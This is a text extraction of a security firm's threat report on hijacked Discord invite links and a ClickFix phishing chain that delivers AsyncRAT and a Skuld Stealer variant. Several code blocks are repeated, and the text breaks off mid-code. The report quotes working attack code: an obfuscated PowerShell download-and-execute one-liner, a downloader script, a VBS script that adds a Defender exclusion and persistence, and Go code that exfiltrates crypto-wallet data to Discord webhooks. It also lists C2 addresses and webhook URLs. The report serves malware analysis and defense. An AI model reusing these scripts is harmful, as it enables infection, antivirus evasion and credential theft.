From Trust to Threat: Hijacked Discord Invites Used for Multi-Stage Malware Delivery

  • ChatGPT paged: Each PDF page to text, then ChatGPT 4o (detailed)
  • Gemini 2.0: Full PDF with gemini-2.0-flash (8k output token limit)
  • Gemini 2.5: Full PDF with gemini-2.5-flash-preview-05-20 (65k output tokens limit)
  • Original: All text extracted from PDF

Original Text

From Trust to Threat: Hijacked Discord Invites Used for Multi-StageMalware DeliveryalexeybuKey TakeawaysCheck Point Research uncovered an active malware campaign exploiting expired and released Discord invite links. Attackershijacked the links through vanity link registration, allowing them to silently redirect users from trusted sources to maliciousservers.The attackers combined the ClickFix phishing technique, multi-stage loaders, and time-based evasions to stealthily deliverAsyncRAT, and a customized Skuld Stealer targeting crypto wallets.Payload delivery and data exfiltration occur exclusively via trusted cloud services such as GitHub, Bitbucket, Pastebin, andDiscord, helping the operation blend into normal traffic and avoid raising alarms.The operation continues to evolve, and threat actors can now bypass Chrome’s App Bound Encryption (ABE) by using adaptedtools like ChromeKatz to steal cookies from new Chromium browser versions.IntroductionDiscord is a heavily used, widely trusted platform favored by gamers, communities, businesses and others who need to connectsecurely and quickly. But what if your trusted platform unknowingly becomes a trap?Check Point Research uncovered a flaw in Discord’s invitation system which allows attackers to hijack expired or deleted invitelinks and secretly redirect unsuspecting users to malicious servers. Invitation links posted by trusted communities months ago onforums, social media, or official websites could now quietly lead you into cybercriminal hands.We observed real-world attacks in which cybercriminals leverage hijacked invite links to deploy sophisticated phishingschemes and malware campaigns, including multi-stage infections designed to evade detection by antivirus tools and sandboxsecurity checks.In this report, we detail a newly discovered malware campaign exploiting Discord’s invitation system flaw. The attackers carefullyorchestrate multiple infection stages and deliver payloads such as the Skuld Stealer which targets cryptocurrency wallets, andAsyncRAT which obtains full remote control of compromised systems. Notably, by combining multiple evasion techniques, theattackers are able to stealthily deliver malicious payloads while bypassing Windows security features and staying under the radarof many antivirus engines.Understanding Discord Invite LinksOur recent investigation into Discord invite-link hijacking revealed that cybercriminals actively exploit Discord’s invitation systemto conduct phishing attacks. Initially, we discussed how attackers exploited Discord’s custom (vanity) invite links — special inviteURLs available exclusively to servers with a premium subscription (Level 3 Boost). Criminals targeted servers whose custominvite links were expired after losing their boosts, and appropriated these recognizable invite URLs for their own use.Further research indicates that this issue extends beyond custom vanity links to include standard invite links (e.g., discord.gg/y1zw2d5).Discord generates random invitation links, making it virtually impossible for legitimate servers to reclaim a previously expiredinvite. However, we found instances where regular randomly-generated invite codes, originally published by legitimatecommunities on websites or Telegram channels, now redirect users to malicious Discord servers. How is this possible?All Discord invite links follow the format:https://discord.gg/{invite_code} https://discord.com/invite/{invite_code}There are three primary types of invite links in Discord:Temporary Invite Links:Discord generates temporary invite links by default unless you specify otherwise. When invites are created via the Discordapplication, you can select expiration durations of 30 minutes, 1 hour, 6 hours, 12 hours, 1 day, or 7 days (default).When generated through Discord’s API, you can select any custom expiration time up to 7 days. Invite codes are randomlygenerated and typically contain 7 or 8 characters, combining uppercase letters, lowercase letters, and numbers. For example:https://discord.gg/T8CA7XrKhttps://discord.gg/yzqKS3d Figure 1 – Generating a random invite code in Discord application.2. Permanent Invite Links:These are created by explicitly selecting the “Expire After: Never” option. Codes generated for permanent invites contain 10randomly-generated alphanumeric characters (uppercase, lowercase, numbers). Figure 2 – Generating a permanent invite link in Discord application.Example of permanent invite link:https://discord.gg/wAYq5GAsyH3. Custom Vanity Invite Links:These are exclusively available to Discord servers with a premium subscription (Level 3 Boost). Vanity invite links allow server administrators to manually select the invite code, provided it is unique across all Discord servers. Codes may contain lowercaseletters, numbers, or dashes, and all letters are automatically converted to lowercase. A server can only have one vanity link at atime. If a server loses its boosts, its custom vanity link becomes available for reuse by another boosted server.Invite Code Reuse and ExploitationWhen creating a regular randomly-generated invite link, after it’s expired or deleted, you cannot obtain the same invite linkagain. Invite codes are generated randomly and the probability of generating the same exact invite code is extremely low.However, the mechanism for creating custom invite links surprisingly lets you reuse expired temporary invite codes, and, in somecases, deleted permanent invite codes: Figure 3 – Assigning a previously used invite code from another server as a custom vanity invite link for a boosted server inDiscord application.Attackers actively exploit this behavior. Once a temporary invite expires, its code can be registered as a custom invite for anotherDiscord server that has Level 3 Boost. If a legitimate Discord server uses a custom vanity link but later loses its boost status (forexample, due to a missed subscription payment), the vanity invite becomes available again, and attackers can claim it for theirown malicious server. This creates a serious risk: Users who follow previously trusted invite links (e.g., on websites, blogs, orforums) can unknowingly be redirected to fake Discord servers created by threat actors.The safest option is to use permanent invites, which are more resistant to hijacking. In particular, if a permanent invite codecontains any uppercase letters, it cannot be reused even after deletion. However, in rare cases, if a deleted permanent inviteconsisted only of lowercase letters and digits (about 0.44% of all cases), the code may become available again for registration as avanity invite.The table below summarizes the hijack risk for each type of invite:Invite type Can behijacked?ExplanationTemporary InviteLink YesAfter expiration, the code becomes available and can be re-registered as a custom vanityURL by a different server with Level 3 Boost.Permanent InviteLink ConditionalIf deleted, a code with only lower-case letters and digits can be re-registered as a customvanity URL by a different server with Level 3 Boost.Custom VanityInvite Yes (if lost)If the original server loses its Level 3 Boost status, the vanity invite becomes invalid andmay be claimed by another boosted server.In both the Web and desktop versions of the Discord client, the invite code management behavior creates an additional riskfactor. When users create a new temporary invite through the “Invite People” option in the server’s menu and check the box “Setthis link to never expire,” it does not modify the expiration time of an already generated temporary invite. The figure belowshows how, when you click the “Set this link to never expire” checkbox, the Discord client shows that the link settings havesupposedly changed, but the invite code remains temporary (as we can see, it consists of 8 characters). Figure 4 – When you set “Never Expires” for an existing link, its expiration settings do not actually change.Users often mistakenly believe that by simply checking this box, they have made the existing invite permanent (and it was thismisunderstanding that was exploited in the attack we observed). As a result, temporary invites are published under the falseassumption that they will never expire. These links eventually expire without warning, making their codes vulnerable to hijackingand malicious reuse.ExamplesLet’s explore how attackers can hijack Discord invite links under different conditions.Case 1: Temporary invite with only lowercase letters and digitsLet’s say a legitimate server shares an invite link like: https://discord.gg/yzqks3dThis code contains only lowercase letters and digits. As long as the invite is active, attackers cannot register it as a vanityinvite. However, once the invite expires or is manually deleted, the code becomes available. Attackers monitoring known invitecodes can then quickly claim it as a vanity invite on a malicious boosted server. From that point on, anyone using thisinvite (yzqks3d) will be redirected to the attacker’s server.Case 2: Temporary invite with uppercase lettersNow let’s consider another invite code: https://discord.gg/uzwgPxUZThis code includes uppercase letters. In this case, attackers can register a vanity invite using the lowercase version of the samecode (uzwgpxuz) even while the original invite is still active. Discord allows it because vanity codes are always stored andcompared in lowercase.While the original invite is still valid, users who follow the link will land on the correct server. But as soon as this inviteexpires, users clicking the previously legitimate link (uzwgPxUZ) are seamlessly redirected to the attackers’ server, which nowowns the lowercase vanity version of that code.Note that if the original invite that includes uppercase letters is manually deleted before its expiration, Discord continues to treatthe code as reserved until the scheduled expiration time is reached. The users following the original link (uzwgPxUZ) won’t beredirected to the attacker’s server until then.From Trusted Links to Malicious Discord ServersUsing the method described above, attackers hijack Discord invite links originally shared by legitimate communities. Usersfollowing these trusted links, found in social media posts or official community websites, unknowingly end up on maliciousservers carefully designed to look authentic.Upon joining, new members typically see that most channels are locked and only one channel, usually named “verify”, isaccessible. In this channel, a bot named ”Safeguard” prompts users to complete a verification step to gain full server access. Figure 7 – Safeguard bot redirecting users to the phishing website.Phishing websiteAfter the user authorizes the bot, Discord starts the OAuth2 authentication flow. Discord generates a single use code and the URLwith a format such as https://captchaguard.me/oauth-pass?code=zyA11weHhTZxaY3Fs3EWBg6qfO7t6j is opened in thebrowser. At the same time, using this code, the website gets the username and the server name from Discord. After successfullyretrieving user data from Discord, the server redirects the user to another URL with the format:https://captchaguard[.]me/?key=aWQ9dXNlcm5hbWUyMzQ0JnRva2VuPTExMjIzMzQ0MDEyMz…In this URL, the “key” variable contains BASE64-encoded data retrieved from Discord that includes the username, Discord guild,and icon IDs. The page is static and does not actually verify the data received in the “key=” variable. Therefore, anyone can open itusing the empty value:https://captchaguard[.]me/?key=Once redirected, the user is shown a well-designed web page mimicking Discord’s UI. At the center isa “Verify” button, accompanied by a green shield logo. Figure 5 – Malicious Discord server where users land after clicking a hijacked invite link.Inspecting the bot’s information reveals that the malicious bot “Safeguard#0786” was created on February 1, 2025: Figure 6 – Malicious “Safeguard” bot description.When users click the “verify” button, they’re asked to authorize the bot, redirecting them to an external website: https://captchaguard[.]me. At the same time, the bot obtains access to user profile details, such as username, avatar, and banner. Figure 8 – Phishing website displaying a fake verification message.Clicking “Verify” executes JavaScript that silently copies a malicious PowerShell command to the user’s clipboard:Plain textCopy to clipboardOpen code in new windowEnlighterJS 3 Syntax Highlighterpowershell -NoExit -Command "$r='NJjeywEMXp3L3Fmcv02bj5ibpJWZ0NXYw9yL6MHc0RHa';$u=($r[-1..-($r.Length)]-join'');$url=[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($u));iex (iwr -Uri $url)"powershell -NoExit -Command "$r='NJjeywEMXp3L3Fmcv02bj5ibpJWZ0NXYw9yL6MHc0RHa';$u=($r[-1..-($r.Length)]-join'');$url=[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($u));iex (iwr -Uri $url)"powershell -NoExit -Command "$r='NJjeywEMXp3L3Fmcv02bj5ibpJWZ0NXYw9yL6MHc0RHa';$u=($r[-1..-($r.Length)]-join '');$url=[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($u));iex (iwr -Uri $url)"The attackers use a refined UX trick known as “ClickFix”, a technique in which the service initially appears broken, promptingthe user to take manual action to “fix” it. In this case, a fake Google CAPTCHA is shown as failing to load, andmanual “verification” instructions are displayed.This page presents a sequence of clear, visually guided steps to pass “verification”: open the Windows Run dialog (Win + R), pastethe text preloaded into the clipboard, and press Enter. The site avoids asking users to download or run any filesmanually, removing a common red flag. By using familiar Discord visuals and a polished layout, the attackers create a false senseof legitimacy. Figure 9 – Social engineering technique tricking a user to execute a malicious command.In reality, this action causes the user’s computer to download and execute a PowerShell script hosted on Pastebin:https://pastebin[.]com/raw/zW0L2z2MPastebin is a public web service where users can store and share plain text online, and is often used for sharing codesnippets, logs, or configuration data. When you create a new “paste”, it becomes accessible via a short link like “https://pastebin[.]com/raw/{resource_id}”. Usually, it does not require registration to share some data. Registered users have theability to delete and edit data they previously posted.Multi-stage Payload Delivery Using Pastebin, GitHub and BitbucketThe malware campaign we uncovered in our research follows a carefully designed multi-stage infection chain. Threat actorsleverage a combination of Discord, phishing websites, social engineering, public services like Pastebin, and cloud platforms suchas GitHub and Bitbucket to deliver their payloads.The diagram below summarizes the initial phase, which involves phishing via hijacked Discord invites and the ClickFix techniquedetailed above:Figure 10 – Infection chain overview: From hijacked Discord invite to execution of PowerShell downloader.At the conclusion of this phase, a PowerShell script is executed on the victim’s machine. This script downloads and runs a first-stage downloader (installer.exe) from GitHub, initiating the next phase of the attack.The script executed at the end of this phase downloads and runs a first-stage downloader (installer.exe) from GitHub, initiatingthe next stage of the attack. This stage involves multiple loaders and payloads retrieved from Bitbucket, ultimately deployingmalicious payloads, including AsyncRAT and Skuld Stealer: Figure 11 – Infection chain overview: From PowerShell to final malware payload delivery.Let’s now examine each component of the second-phase in detail.Downloader PowerShell ScriptThe script download from Pastebin link is not obfuscated or encrypted. From its code we can see that it downloads and runs anexecutable file from a GitHub URL:Plain textCopy to clipboardOpen code in new windowEnlighterJS 3 Syntax Highlighter# Hide PowerShell Console WindowAdd-Type -TypeDefinition @"using System;using System.Runtime.InteropServices;public class Win32 {[DllImport("user32.dll")]public static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);[DllImport("kernel32.dll")]public static extern IntPtr GetConsoleWindow();}"@$consolePtr = [Win32]::GetConsoleWindow()[Win32]::ShowWindow($consolePtr, 0) # Hide the console window# Define the download and execution parameters$url = "https://github.com/frfs1/update/raw/refs/heads/main/installer.exe" # Direct EXE download$exePath = Join-Path $env:TEMP ('installer.exe')try{Write-Output"Establishing connection..."# Download the EXE using WebClient $webClient = New-Object System.Net.WebClient$webClient.DownloadFile($url, $exePath)# Validate the downloadif (-not (Test-Path $exePath) -or ((Get-Item $exePath).length -eq 0)) {Write-Output"failed. Exiting..."exit 1}# Run the executableStart-Process -FilePath $exePath -ArgumentList "-arg1" -NoNewWindow} catch {Write-Output"An error occurred"} finally {Write-Output"unable to detect discord session."}# Hide PowerShell Console Window Add-Type -TypeDefinition @" using System; using System.Runtime.InteropServices; publicclass Win32 { [DllImport("user32.dll")] public static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);[DllImport("kernel32.dll")] public static extern IntPtr GetConsoleWindow(); } "@ $consolePtr = [Win32]::GetConsoleWindow()[Win32]::ShowWindow($consolePtr, 0) # Hide the console window # Define the download and execution parameters $url ="https://github.com/frfs1/update/raw/refs/heads/main/installer.exe" # Direct EXE download $exePath = Join-Path $env:TEMP('installer.exe') try { Write-Output "Establishing connection..." # Download the EXE using WebClient $webClient = New-ObjectSystem.Net.WebClient $webClient.DownloadFile($url, $exePath) # Validate the download if (-not (Test-Path $exePath) -or((Get-Item $exePath).length -eq 0)) { Write-Output "failed. Exiting..." exit 1 } # Run the executable Start-Process -FilePath$exePath -ArgumentList "-arg1" -NoNewWindow } catch { Write-Output "An error occurred" } finally { Write-Output "unable todetect discord session." }# Hide PowerShell Console WindowAdd-Type -TypeDefinition @"using System;using System.Runtime.InteropServices;public class Win32 { [DllImport("user32.dll")] public static extern bool ShowWindow(IntPtr hWnd, int nCmdShow); [DllImport("kernel32.dll")] public static extern IntPtr GetConsoleWindow();}"@$consolePtr = [Win32]::GetConsoleWindow()[Win32]::ShowWindow($consolePtr, 0) # Hide the console window# Define the download and execution parameters$url = "https://github.com/frfs1/update/raw/refs/heads/main/installer.exe" # Direct EXE download$exePath = Join-Path $env:TEMP ('installer.exe')try { Write-Output "Establishing connection..."

Download the EXE using WebClient $webClient = New-Object System.Net.WebClient $webClient.DownloadFile($url, $exePath) # Validate the download if (-not (Test-Path $exePath) -or ((Get-Item $exePath).length -eq 0)) { Write-Output "failed. Exiting..." exit 1 } # Run the executableStart-Process -FilePath $exePath -ArgumentList "-arg1" -NoNewWindow} catch { Write-Output "An error occurred"} finally { Write-Output "unable to detect discord session."}We noticed that almost no anti-virus vendors flag this script as malicious:

Figure 12 – Malicious PowerShell script has an extremely low detection rate on VirusTotal.Cybercriminals actively use the ability to edit information posted on Pastebin to change the GitHub URL from which theexecutable file is downloaded. This probably allows them to bypass the blocking by GitHub. If the repository is deleted, theattackers just create a new account and a new repository, to which they upload the file. The new URL is then placed inside thePastebin script.While monitoring the campaign, we observed the following changes in the address:https://github[.]com/frfs1/update/raw/refs/heads/main/installer.exehttps://github[.]com/shisuh/update/raw/refs/heads/main/installer.exehttps://github[.]com/gkwdw/wffaw/raw/refs/heads/main/installer.exehttps://codeberg[.]org/wfawwf/dwadwaa/raw/branch/main/installer.exeFirst Stage Downloader: installer.exeThe downloaded executable installer.exe(SHA256: 673090abada8ca47419a5dbc37c5443fe990973613981ce622f30e83683dc932) has extremely low detectionrates. At the time of our research, only a single antivirus vendor on VirusTotal flagged it as malicious: Figure 13 – First Stage Downloader has an extremely low detection rate on VirusTotal.During continued monitoring of the campaign, we identified a newer variant of theloader (SHA256: 160eda7ad14610d93f28b7dee20501028c1a9d4f5dc0437794ccfc2604807693) that achieved zerodetections across all antivirus engines at the time of submission. Figure 14 – First Stage Downloader with zero detections on VirusTotal.This binary acts as a downloader that retrieves its second-stage payloads from remote servers.Written in C++ and approximately 4.8MB in size, the binary is not packed. However, the extensive use of junk code complicatesits static analysis. Additionally, C++ binaries inherently complicate analysis due to their use of virtual function tables, indirectfunction calls, and complex runtime structures, making it challenging to quickly identify the relevant code paths.At first glance, the downloader seems to contain plaintext strings; however, nearly all easily visible strings belong to junk codedesigned to distract analysts. In reality, critical strings related to malicious functionality are concealed by being stored assequences of immediate values pushed directly onto the stack at runtime. Each string is additionally encrypted using a simpleXOR cipher with a single-byte key. A distinct XOR key is used for every encrypted string and loaded into the CL register typicallyjust before the process of writing encrypted bytes to the stack. The same method is applied to obfuscate important Windows APIfunction names, whose addresses the malware dynamically resolves using GetProcAddress. Figure 15 – Strings and API calls obfuscation in the loader.When executed in a sandbox without extra options, the malware does not expose any suspicious functionality. It just performsdozens of junk calls (such as OpenThemeData, RegisterWindowMessageW, SHGetStockIconInf, etc.) and then exits.However, if executed with the command-line parameters ”-arg1” or ”-arg2“, it initiates further malicious operations. It’snoteworthy that the initial PowerShell script described earlier explicitly passes the “ -arg1” parameter to theexecutable, triggering its malicious functionality.Upon execution with the correct argument, the dropper creates the following directory: C:\Users\%USERNAME%\AppData\Local\ServiceHelper\ Then, it creates two Visual Basic scripts inside this folder:nat1.vbsThis script attempts to evade Windows Defender detection by adding the user’s directory to Defender’s exclusion paths. It alsoschedules a persistent task named checker, set to run every 5 minutes with the highest privileges. This task periodically launchesthe second script, runsys.vbs. In addition, the script ensures the creation of a placeholder file called settings.txt. This file actsas an execution flag: The malware checks for its existence upon startup to determine if it has previously run.Plain textCopy to clipboardOpen code in new windowEnlighterJS 3 Syntax HighlighterDim objNetwork, strUsername, objShellApp, objShell, strExclusionPath, strTaskCommandSet objNetwork = CreateObject("WScript.Network")strUsername = objNetwork.UserNameSet objShellApp = CreateObject("Shell.Application")Set objShell = CreateObject("WScript.Shell")strExclusionPath = "C:\users\" & strUsernameobjShellApp.ShellExecute "PowerShell", "-Command Add-MpPreference -ExclusionPath '" & strExclusionPath & "'", "", "runas", 0strTaskCommand = "schtasks /create /tn ""checker"" /tr ""wscript.exe \""C:\Users\" & strUsername & "\AppData\Local\ServiceHelper\runsys.vbs\"""" /sc MINUTE /mo 5 /RL HIGHEST"objShell.Run "cmd /c " & strTaskCommand, 0, TruestrFilePath = "C:\users\" & strUsername & "\AppData\Local\ServiceHelper\settings.txt"Set objFSO = CreateObject("Scripting.FileSystemObject")If Not objFSO.FileExists(strFilePath) ThenCall objFSO.CreateTextFile(strFilePath, True)End IfSet objShellApp = NothingSet objShell = NothingSet objNetwork = NothingSet objFSO = NothingDim objNetwork, strUsername, objShellApp, objShell, strExclusionPath, strTaskCommand Set objNetwork =CreateObject("WScript.Network") strUsername = objNetwork.UserName Set objShellApp = CreateObject("Shell.Application") SetobjShell = CreateObject("WScript.Shell") strExclusionPath = "C:\users\" & strUsername objShellApp.ShellExecute"PowerShell", "-Command Add-MpPreference -ExclusionPath '" & strExclusionPath & "'", "", "runas", 0 strTaskCommand ="schtasks /create /tn ""checker"" /tr ""wscript.exe \""C:\Users\" & strUsername & "\AppData\Local\ServiceHelper\runsys.vbs\"""" /sc MINUTE /mo 5 /RL HIGHEST" objShell.Run "cmd /c " & strTaskCommand, 0, True strFilePath = "C:\users\" & strUsername & "\AppData\Local\ServiceHelper\settings.txt" Set objFSO =CreateObject("Scripting.FileSystemObject") If Not objFSO.FileExists(strFilePath) Then Call objFSO.CreateTextFile(strFilePath,True) End If Set objShellApp = Nothing Set objShell = Nothing Set objNetwork = Nothing Set objFSO = NothingDim objNetwork, strUsername, objShellApp, objShell, strExclusionPath, strTaskCommandSet objNetwork = CreateObject("WScript.Network") strUsername = objNetwork.UserNameSet objShellApp = CreateObject("Shell.Application")Set objShell = CreateObject("WScript.Shell")strExclusionPath = "C:\users\" & strUsernameobjShellApp.ShellExecute "PowerShell", "-Command Add-MpPreference -ExclusionPath '" & strExclusionPath & "'", "", "runas", 0strTaskCommand = "schtasks /create /tn ""checker"" /tr ""wscript.exe \""C:\Users\" & strUsername & "\AppData\Local\ServiceHelper\runsys.vbs\"""" /sc MINUTE /mo 5 /RL HIGHEST"objShell.Run "cmd /c " & strTaskCommand, 0, TruestrFilePath = "C:\users\" & strUsername & "\AppData\Local\ServiceHelper\settings.txt"Set objFSO = CreateObject("Scripting.FileSystemObject")If Not objFSO.FileExists(strFilePath) Then Call objFSO.CreateTextFile(strFilePath, True)End IfSet objShellApp = NothingSet objShell = NothingSet objNetwork = NothingSet objFSO = Nothingrunsys.vbsThis short script silently executes the second-stage payload executable syshelpers.exe.Plain textCopy to clipboardOpen code in new windowEnlighterJS 3 Syntax HighlighterOn Error Resume NextSet WshShell = CreateObject("WScript.Shell")WshShell.Run """C:\Users\%UserName%\AppData\Local\ServiceHelper\syshelpers.exe""", 0, FalseOn Error Resume Next Set WshShell = CreateObject("WScript.Shell") WshShell.Run """C:\Users\%UserName%\AppData\Local\ServiceHelper\syshelpers.exe""", 0, FalseOn Error Resume NextSet WshShell = CreateObject("WScript.Shell")WshShell.Run """C:\Users\%UserName%\AppData\Local\ServiceHelper\syshelpers.exe""", 0, FalseOnce these scripts are set up, the dropper proceeds to download two encrypted payloads from Bitbucket:URL Local file namehttps://bitbucket[.]org/syscontrol6/syscontrol/downloads/skul.exe searchHost.exehttps://bitbucket[.]org/syscontrol6/syscontrol/downloads/Rnr.exe syshelpers.exeTo perform HTTP requests, the malware uses the following specific User-agent string:Dynamic WinHTTP Client/1.0Both files are stored encrypted on the Bitbucket service. To decrypt these downloaded executables, the malware applies thefollowing XOR-based algorithm:Plain textCopy to clipboardOpen code in new window EnlighterJS 3 Syntax Highlighterdef decrypt_data(data):return bytes(b ^ ((119 + 5 * i) & 0xFF) for i, b in enumerate(data))def decrypt_data(data): return bytes(b ^ ((119 + 5 * i) & 0xFF) for i, b in enumerate(data))def decrypt_data(data): return bytes(b ^ ((119 + 5 * i) & 0xFF) for i, b in enumerate(data))Despite using a relatively simple encryption scheme, this technique effectively prevents detection of the malicious payloads storedon Bitbucket. At the time of this writing, neither of the two downloaded files (skul.exe and Rnr.exe) is flagged as malicious byany antivirus vendor on VirusTotal. Previously, we observed similar use of payload encryption by malware such asGuLoader, enabling threat actors to leverage legitimate services like Google Drive for payload hosting and effectively evadeantivirus detection.Upon successful decryption, these files are stored in the previously created directory (ServiceHelper).The first downloaded file searchHost.exe (initially skul.exe) is executed immediately by calling the CreateProcessW APIfunction.The second file syshelpers.exe (initially Rnr.exe) is executed every five minutes by the previously scheduled task(runsys.vbs), thus ensuring long-term persistence on the victim’s machine.Second Stage Downloader: Rnr.exeThe file Rnr.exe (decryptedSHA256: 5d0509f68a9b7c415a726be75a078180e3f02e59866f193b0a99eee8e39c874f), downloaded from Bitbucketand saved locally as syshelpers.exe, also acts as a downloader.It shares many similarities with the previously described downloader (installer.exe), in particular that both use XORobfuscation with a single-byte key to hide strings and API function names.When sending HTTP requests to download its payload, the sample sets the following User-Agent header:Dynamic WinHTTP Client/1.0The encrypted payload is downloaded from this URL:https://bitbucket[.]org/updatevak/upd/downloads/AClient.exe Figure 16 – Encrypted paths and a URL in the second stage downloader.The same file can also be found on the previously discussed repository: https://bitbucket[.]org/syscontrol6/syscontrol/downloads/AClient.exe. This may indicate that there could be other versions of the Rnr.exe file downloading payloads fromdifferent repositories.This downloader employs an interesting sandbox evasion technique. On first execution, the downloader fetches the payload fromthe above URL and saves it in the current directory under the name ”updatelog” (Note: There is no file extension). It thenimmediately exits without decrypting or executing the payload.However, as described earlier, this executable is automatically re-executed every five minutes via a scheduledtask (runsys.vbs). On the next launch, the downloader checks for the presence of the ”updatelog” file. If the file exists, thedownloader proceeds to decrypt it using the same XOR-based algorithm used by the previous downloader and saves the resultas syshelp.exe in the same directory.On every subsequent run, the downloader checks if the file syshelp.exe exists in the current folder, and if so, the downloaderexecutes it.Even when the full infection chain is triggered starting from the initial PowerShell script, the malware’s use of scheduled taskscauses significant delays:Five minutes before the first download,Another 5 minutes before decryption,A final 5-minute delay before execution.In total, at least 15 minutes must pass before any malicious behavior becomes visible — long enough to evade detection by manyautomated sandbox systems.If this downloader is executed without prior context inside a sandbox, the final payload will be downloaded but never decrypted orrun. As a result, none of its malicious behavior will be visible, regardless of what the payload contains.Payload 1: AClient.exe (AsyncRAT)The first payload delivered in this campaign, AClient.exe (decryptedSHA256: 53b65b7c38e3d3fca465c547a8c1acc53c8723877c6884f8c3495ff8ccc94fbe), is a variant of the AsyncRATmalware, version 0.5.8. AsyncRAT an open-source Remote Access Trojan (RAT). It provides attackers with comprehensive remotecontrol capabilities over infected systems, including:Executing arbitrary commands and scripts.Keylogging and screen capturing.File management (uploading, downloading, deleting files). Remote desktop and camera access.This AsyncRAT sample uses a “dead drop resolver” technique: Instead of directly embedding the command-and-control (C&C) server address, the malware retrieves it from a publicly accessible third-party resource – in this case, a Pastebindocument:https://pastebin.com/raw/ftknPNF7At the time of analysis, the Pastebin URL contained the following C&C server address:101.99.76.120:7707However, we later discovered that most of the time the address value was set to 0.0.0.0:7707.We also found earlier AsyncRAT samples related to the same threat actors with the following SHA256:d54fa589708546eca500fbeea44363443b86f2617c15c8f7603ff4fb05d494c1670be5b8c7fcd6e2920a4929fcaa380b1b0750bfa27336991a483c0c0221236aThe earliest sample was first seen on November 11, 2024. These samples contain embedded C&C server addresses in theirconfiguration:Plain textCopy to clipboardOpen code in new windowEnlighterJS 3 Syntax Highlighter87.120.127.37:7707185.234.247.8:7707microads[.]top:770787.120.127.37:7707 185.234.247.8:7707 microads[.]top:770787.120.127.37:7707185.234.247.8:7707microads[.]top:7707The registration date for the domain microads[.]top is August 15, 2024, meaning that the threat actors are active at least fromthis date.Payload 2: skul.exe (Skuld Stealer)The second payload downloaded from Bitbucket is skul.exe (decryptedSHA256: 8135f126764592be3df17200f49140bfb546ec1b2c34a153aa509465406cb46c). This executable is identified asa variant of the Skuld Stealer, a malware tool written in Go and publicly available as open source on GitHub.The original Skuld Stealer project is described as a proof-of-concept malware targeting Windows systems, designed to stealsensitive user data from multiple sources, including Discord, various browsers, crypto wallets, and gaming platforms.The original Skuld Stealer provides extensive functionality, including:Anti-debugging (termination of debugging tools).Virtual machine detection and sandbox evasion.Credential theft from Chromium-based and Gecko-based browsers (logins, cookies, credit cards, browser history).Crypto clipper (replaces clipboard contents with attacker-controlled cryptocurrency addresses).Stealing Discord authentication tokens. Discord injection module to intercept sensitive user operations such as login, password changes, payment information additions,preventing requests to view devices, and blocking QR logins.Collecting sessions from popular gaming platforms (Epic Games, Minecraft, Riot Games, Uplay).System information gathering (CPU, GPU, RAM, IP, geolocation, Wi-Fi networks).Crypto wallet data theft, including mnemonic phrases and passwords.However, the variant used in this specific campaign differs from the publicly available version in several aspects. Notably, it omitscertain functionality:No crypto clipper.No anti-debugging measures.No stealing sessions from gaming platforms.No built-in persistence mechanism: Unlike the public version, this stealer does not implement internal persistence. Instead,persistence is externally achieved through the previously described scheduled task (runsys.vbs).Let’s go deeper into some of the details of the variant used in this campaign.Mutex UsageTo prevent multiple instances of itself from running, Skuld creates a mutex with a specific, GUID-like name. The variant used inthis campaign uses the exact same mutex name as the open-source version:3575651c-bb47-448e-a514-22865732bbcPlain textCopy to clipboardOpen code in new windowEnlighterJS 3 Syntax Highlighterfunc IsAlreadyRunning() bool {const AppID = "3575651c-bb47-448e-a514-22865732bbc", err := windows.CreateMutex(nil, false, syscall.StringToUTF16Ptr(fmt.Sprintf("Global\\%s", AppID)))return err != nil}func IsAlreadyRunning() bool { const AppID = "3575651c-bb47-448e-a514-22865732bbc" , err := windows.CreateMutex(nil,false, syscall.StringToUTF16Ptr(fmt.Sprintf("Global\\%s", AppID))) return err != nil }func IsAlreadyRunning() bool {const AppID = "3575651c-bb47-448e-a514-22865732bbc", err := windows.CreateMutex(nil, false, syscall.StringToUTF16Ptr(fmt.Sprintf("Global\\%s", AppID)))return err != nil}This mutex name can be used as an IOC to detect if Skuld is active in the system.Data Exfiltration via Discord WebhooksSkuld sends the collected data through a Discord webhook, a one-way HTTP-based channel commonly used by applications topost automated messages and data to Discord channels. Webhooks provide a convenient, secure, and easily configurable way forattackers to exfiltrate stolen information without maintaining complex command-and-control servers. In the original open-source version of Skuld, the Discord webhook URL is stored in plaintext within the configuration:Plain textCopy to clipboardOpen code in new windowEnlighterJS 3 Syntax HighlighterCONFIG := map[string]interface{}{"webhook": "https://discord.com/api/webhooks/...","cryptos": map[string]string{"BTC": "", # crypto-clipper setup"BCH": "",// ...},}CONFIG := map[string]interface{}{ "webhook": "https://discord.com/api/webhooks/...", "cryptos": map[string]string{ "BTC": "",# crypto-clipper setup "BCH": "", // ... }, }CONFIG := map[string]interface{}{"webhook": "https://discord.com/api/webhooks/...","cryptos": map[string]string{"BTC": "", # crypto-clipper setup"BCH": "",// ...},}However, the variant analyzed in this campaign uses two separate Discord webhooks, each serving different purposes, and bothURLs are encrypted using a single-byte XOR cipher.Upon execution, the malware decrypts both webhook URLs: Figure 17 – Webhook URL decryption in Skuld stealer.These are the decrypted webhook URLs: Name URLwebhook https://discord[.]com/api/webhooks/1355186248578502736/_RDywh_K6GQKXiM5T05ueXSSjYopg9nY6XFJo1o5Jnz6v9sih59A8p-6HkndI_nOTicOwebhook2 https://discord[.]com/api/webhooks/1348629600560742462/RJgSAE7cYY-1eKMkl5EI-qZMuHaujnRBMVU_8zcIaMKyQi4mCVjc9R0zhDQ7wmPoD7XpThe first webhook (webhookencr) is used for exfiltrating general data, such as browser credentials, system information, andDiscord tokens.The second webhook (webhookencr2) is specifically reserved for exfiltrating highly sensitive data: crypto wallet seed phrases andpasswords from the Exodus and Atomic crypto wallets.Below is a partially restored Go-code responsible for this logic:Plain textCopy to clipboardOpen code in new windowEnlighterJS 3 Syntax Highlighterfunc main() {CONFIG["webhook"] = decryptXOR(CONFIG["webhookencr"].(string))CONFIG["webhook2"] = decryptXOR(CONFIG["webhookencr2"].(string))actions := []func(string){wallets.Run,browsers.Run,system.Run,discodes.Run,commonfiles.Run,tokens.Run,}// Standard modules using the first webhookfor , action := range actions {go action(CONFIG["webhook"].(string))}// Special module for crypto wallet injection using the second webhookgo mainGowrap1(CONFIG["webhook2"].(string))}func mainGowrap1(webhook2 string) {atomicURL := "https://github.com/hackirby/wallets-injection/raw/main/atomic.asar"exodusURL := 